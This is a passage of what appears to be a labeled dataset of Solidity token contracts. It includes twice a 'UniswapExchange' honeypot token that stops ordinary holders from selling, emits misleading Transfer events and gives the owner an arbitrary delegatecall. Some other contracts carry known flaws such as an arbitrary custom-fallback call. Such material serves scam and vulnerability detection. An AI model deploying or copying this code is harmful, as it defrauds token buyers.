mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,299 |
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender == owner)
_;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract IERC20Token {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract TESTH is IERC20Token, owned{
string public standard = "TESTH v1.0";
string public name = "TESTH";
string public symbol = "TESTH";
uint8 public decimals = 18;
uint256 public initialSupply = 50000000 * 10 ** 18;
uint256 public tokenFrozenUntilBlock;
uint256 public timeLock = block.timestamp + 2 days;
uint256 supply = initialSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
mapping (address => bool) rAddresses;
event TokenFrozen(uint256 _frozenUntilBlock, string _reason);
function TESTH() {
rAddresses[0x0] = true;
rAddresses[address(this)] = true;
}
function totalSupply() constant returns (uint256 totalSupply) {
return supply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) onlyOwner {
require(transfer(newOwner, balances[msg.sender]));
owner = newOwner;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require (block.number >= tokenFrozenUntilBlock) ;
require (!rAddresses[_to]) ;
require (balances[msg.sender] >= _value);
require (balances[_to] + _value >= balances[_to]) ;
require (!(msg.sender == owner && block.timestamp < timeLock && (balances[msg.sender]-_value) < 10000000 * 10 ** 18));
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require (block.number > tokenFrozenUntilBlock);
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (block.number > tokenFrozenUntilBlock);
require (!rAddresses[_to]);
require(balances[_from] >= _value);
require (balances[_to] + _value >= balances[_to]);
require (_value <= allowances[_from][msg.sender]);
require (!(_from == owner && block.timestamp < timeLock && (balances[_from]-_value) < 10000000 * 10 ** 18));
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
supply-=_value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowances[_from][msg.sender]);
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
supply -= _value;
Burn(_from, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function freezeTransfersUntil(uint256 _frozenUntilBlock, string _reason) onlyOwner {
tokenFrozenUntilBlock = _frozenUntilBlock;
TokenFrozen(_frozenUntilBlock, _reason);
}
function unfreezeTransfersUntil(string _reason) onlyOwner {
tokenFrozenUntilBlock = 0;
TokenFrozen(0, _reason);
}
function editRestrictedAddress(address _newRestrictedAddress) onlyOwner {
rAddresses[_newRestrictedAddress] = !rAddresses[_newRestrictedAddress];
}
function isRestrictedAddress(address _queryAddress) constant returns (bool answer){
return rAddresses[_queryAddress];
}
} | 1 | 3,691 |
pragma solidity ^0.4.21 ;
contract SPAIN_WINS {
mapping (address => uint256) public balanceOf;
string public name = " SPAIN_WINS " ;
string public symbol = " SPAWII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 78484705836894400000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 5,114 |
pragma solidity ^0.4.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(a <= c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
}
contract EthereumStandards {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function allowance(address owner, address spender) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address to, uint256 value, bytes data) public returns (bool);
function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address from, uint256 value, bytes data) public;
}
contract AuctusToken is EthereumStandards {
using SafeMath for uint256;
string constant public name = "Auctus Token";
string constant public symbol = "AUC";
uint8 constant public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
address public contractOwner;
address public tokenSaleContract;
address public preSaleDistributionContract;
bool public tokenSaleIsFinished;
event Burn(address indexed from, uint256 value);
modifier onlyOwner() {
require(contractOwner == msg.sender);
_;
}
function AuctusToken() public {
contractOwner = msg.sender;
tokenSaleContract = address(0);
tokenSaleIsFinished = false;
}
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
function allowance(address owner, address spender) public constant returns (uint256) {
return allowed[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseApproval(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(value);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseApproval(address spender, uint256 value) public returns (bool) {
uint256 currentValue = allowed[msg.sender][spender];
if (value > currentValue) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = currentValue.sub(value);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
internalTransfer(from, to, value);
emit Transfer(from, to, value);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
internalTransfer(msg.sender, to, value);
emit Transfer(msg.sender, to, value);
return true;
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
internalTransfer(msg.sender, to, value);
if (isContract(to)) {
callTokenFallback(to, msg.sender, value, data);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool) {
internalTransfer(msg.sender, to, value);
if (isContract(to)) {
assert(to.call.value(0)(bytes4(keccak256(custom_fallback)), msg.sender, value, data));
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function burn(uint256 value) public returns (bool) {
internalBurn(msg.sender, value);
return true;
}
function burnFrom(address from, uint256 value) public returns (bool) {
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
internalBurn(from, value);
return true;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
contractOwner = newOwner;
}
function setTokenSale(address tokenSale, address preSaleDistribution, uint256 maximumSupply) onlyOwner public {
require(tokenSaleContract == address(0));
preSaleDistributionContract = preSaleDistribution;
tokenSaleContract = tokenSale;
totalSupply = maximumSupply;
balances[tokenSale] = maximumSupply;
bytes memory empty;
callTokenFallback(tokenSale, 0x0, maximumSupply, empty);
emit Transfer(0x0, tokenSale, maximumSupply);
}
function setTokenSaleFinished() public {
require(msg.sender == tokenSaleContract);
tokenSaleIsFinished = true;
}
function isContract(address _address) private constant returns (bool) {
uint256 length;
assembly {
length := extcodesize(_address)
}
return (length > 0);
}
function internalTransfer(address from, address to, uint256 value) private {
require(canTransfer(from));
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
}
function internalBurn(address from, uint256 value) private {
balances[from] = balances[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(from, value);
}
function callTokenFallback(address to, address from, uint256 value, bytes data) private {
ContractReceiver(to).tokenFallback(from, value, data);
}
function canTransfer(address from) private view returns (bool) {
return (tokenSaleIsFinished || from == tokenSaleContract || from == preSaleDistributionContract);
}
} | 0 | 660 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,790 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoContracts is Ownable{
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address _from, uint256 _value, bytes _data) external pure {
_from;
_value;
_data;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract BalanceSheet is Claimable {
using SafeMath for uint256;
mapping(address => uint256) public balanceOf;
function addBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = _value;
}
}
contract BasicToken is ERC20Basic, Claimable {
using SafeMath for uint256;
BalanceSheet public balances;
uint256 totalSupply_;
function setBalanceSheet(address sheet) external onlyOwner {
balances = BalanceSheet(sheet);
balances.claimOwnership();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
transferAllArgsNoAllowance(msg.sender, _to, _value);
return true;
}
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal {
require(_to != address(0));
require(_from != address(0));
require(_value <= balances.balanceOf(_from));
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
emit Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances.balanceOf(_owner);
}
}
contract BurnableToken is BasicToken{
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances.balanceOf(msg.sender));
address burner = msg.sender;
balances.subBalance(burner, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping(address => mapping(address => uint256)) public allowanceOf;
function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].add(_value);
}
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = _value;
}
}
contract StandardToken is ERC20, BasicToken {
AllowanceSheet public allowances;
function setAllowanceSheet(address sheet) external onlyOwner {
allowances = AllowanceSheet(sheet);
allowances.claimOwnership();
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
transferAllArgsYesAllowance(_from, _to, _value, msg.sender);
return true;
}
function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal {
require(_value <= allowances.allowanceOf(_from, spender));
allowances.subAllowance(_from, spender, _value);
transferAllArgsNoAllowance(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
approveAllArgs(_spender, _value, msg.sender);
return true;
}
function approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal {
allowances.setAllowance(_tokenHolder, _spender, _value);
emit Approval(_tokenHolder, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances.allowanceOf(_owner, _spender);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
increaseApprovalAllArgs(_spender, _addedValue, msg.sender);
return true;
}
function increaseApprovalAllArgs(address _spender, uint _addedValue, address tokenHolder) internal {
allowances.addAllowance(tokenHolder, _spender, _addedValue);
emit Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender));
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender);
return true;
}
function decreaseApprovalAllArgs(address _spender, uint _subtractedValue, address tokenHolder) internal {
uint oldValue = allowances.allowanceOf(tokenHolder, _spender);
if (_subtractedValue > oldValue) {
allowances.setAllowance(tokenHolder, _spender, 0);
} else {
allowances.subAllowance(tokenHolder, _spender, _subtractedValue);
}
emit Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender));
}
}
contract PausableToken is StandardToken, Pausable{
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract AddressList is Claimable {
string public name;
mapping(address => bool) public onList;
constructor(string _name, bool nullValue) public {
name = _name;
onList[0x0] = nullValue;
}
event ChangeWhiteList(address indexed to, bool onList);
function changeList(address _to, bool _onList) onlyOwner public {
require(_to != 0x0);
if (onList[_to] != _onList) {
onList[_to] = _onList;
emit ChangeWhiteList(_to, _onList);
}
}
}
contract DelegateERC20 {
function delegateTotalSupply() public view returns (uint256);
function delegateBalanceOf(address who) public view returns (uint256);
function delegateTransfer(address to, uint256 value, address origSender) public returns (bool);
function delegateAllowance(address owner, address spender) public view returns (uint256);
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool);
function delegateApprove(address spender, uint256 value, address origSender) public returns (bool);
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool);
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool);
}
contract CanDelegate is StandardToken {
DelegateERC20 public delegate;
event DelegateToNewContract(address indexed newContract);
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
emit DelegateToNewContract(newContract);
}
function transfer(address to, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.transferFrom(from, to, value);
} else {
return delegate.delegateTransferFrom(from, to, value, msg.sender);
}
}
function balanceOf(address who) public view returns (uint256) {
if (delegate == address(0)) {
return super.balanceOf(who);
} else {
return delegate.delegateBalanceOf(who);
}
}
function approve(address spender, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.approve(spender, value);
} else {
return delegate.delegateApprove(spender, value, msg.sender);
}
}
function allowance(address _owner, address spender) public view returns (uint256) {
if (delegate == address(0)) {
return super.allowance(_owner, spender);
} else {
return delegate.delegateAllowance(_owner, spender);
}
}
function totalSupply() public view returns (uint256) {
if (delegate == address(0)) {
return super.totalSupply();
} else {
return delegate.delegateTotalSupply();
}
}
function increaseApproval(address spender, uint addedValue) public returns (bool) {
if (delegate == address(0)) {
return super.increaseApproval(spender, addedValue);
} else {
return delegate.delegateIncreaseApproval(spender, addedValue, msg.sender);
}
}
function decreaseApproval(address spender, uint subtractedValue) public returns (bool) {
if (delegate == address(0)) {
return super.decreaseApproval(spender, subtractedValue);
} else {
return delegate.delegateDecreaseApproval(spender, subtractedValue, msg.sender);
}
}
}
contract StandardDelegate is StandardToken, DelegateERC20 {
address public delegatedFrom;
modifier onlySender(address source) {
require(msg.sender == source);
_;
}
function setDelegatedFrom(address addr) onlyOwner public {
delegatedFrom = addr;
}
function delegateTotalSupply() public view returns (uint256) {
return totalSupply();
}
function delegateBalanceOf(address who) public view returns (uint256) {
return balanceOf(who);
}
function delegateTransfer(address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
transferAllArgsNoAllowance(origSender, to, value);
return true;
}
function delegateAllowance(address owner, address spender) public view returns (uint256) {
return allowance(owner, spender);
}
function delegateTransferFrom(address from, address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
